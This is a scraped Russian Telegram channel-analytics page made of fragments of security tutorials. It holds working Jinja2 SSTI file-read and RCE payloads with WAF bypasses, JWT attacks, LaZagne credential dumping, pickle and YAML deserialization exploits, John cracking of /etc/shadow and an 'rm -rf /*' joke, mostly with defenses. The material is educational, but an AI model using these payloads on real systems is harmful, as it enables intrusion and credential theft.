CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Больше📈 Аналитический обзор Telegram-канала CodeGuard: CyberSec Edition
Канал CodeGuard: CyberSec Edition является активным участником. Сейчас сообщество объединяет 12 526 подписчиков, занимая 10 134 место в категории Технологии и приложения и 52 701 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 12 526 подписчиков.
Согласно последним данным от 20 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 517, а за последние 24 часа — 50, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 12.15%. В первые 24 часа после публикации контент обычно набирает 6.95% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 522 просмотров. В течение первых суток публикация набирает 871 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 4.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как codeguard, pysec, docker, grep, контейнер.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Благодаря высокой частоте обновлений (последние данные получены 21 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код.
2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask)
Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров
Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов😈 CodeGuard: PySec Edition | Чат
pip install pyjwt
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись.
2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T
3️⃣ Практические команды для пентеста
Генерация слабого токена (тест):
import jwt
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')
print(token)
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов😈 CodeGuard: PySec Edition | Чат
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполненияМинимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis👩💻 CodeGuard: Linux | Чат
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложенияПредставьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker😈 CodeGuard: PySec Edition | Чат
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilegeПолезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
/api/user/123 → /api/user/124И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсыПолезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данныеБыло полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю.
Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, головеНа 2026:
while alive:
learn_something_new()
build_cool_stuff()
touch_grass() # важно
sleep(enough=True) # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто.
В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026 Bugs: Inevitable Opportunities: Enabled Your potential: No limitsHappy New Year, хакеры. 🥂 🔥 CodeGuard | Чат
assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать.
Проблема:
def delete_user(user_id, current_user):
assert current_user.is_admin, "Access denied"
db.delete(user_id)
Выглядит безопасно. Но нет.
Что происходит:
# Разработка — assert работает python app.py # Продакшен с оптимизацией — assert удаляется полностью python -O app.pyФлаг
-O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию.
Проверь прямо сейчас:
import sys
print(sys.flags.optimize) # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасностьПравильно:
def delete_user(user_id, current_user):
if not current_user.is_admin:
raise PermissionError("Access denied")
db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 ТестовНайти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise.
😈 CodeGuard: PySec Edition | Чатyaml.load() делает то же самое - и это почему-то игнорируют.
Уязвимый код:
import yaml
data = yaml.load(user_input) # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователейПравильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)
# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен.
Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра.
😈 CodeGuard: PySec Edition | Чатpickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают.
В чём проблема?
pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают.
Как выглядит атака:
import pickle
import base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('whoami',))
# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно.
Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решенияПроверка на уязвимость: Инструмент
fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib
def safe_pickle_loads(data: bytes, key: bytes):
signature, payload = data[:32], data[32:]
expected = hmac.new(key, payload, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно.
😈 CodeGuard: PySec Edition | Чат🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю
Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt) john --format=sha512crypt users.hash --wordlist=rockyou.txtJohn начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 leftВывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.😈 CodeGuard: PySec Edition | Чат
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
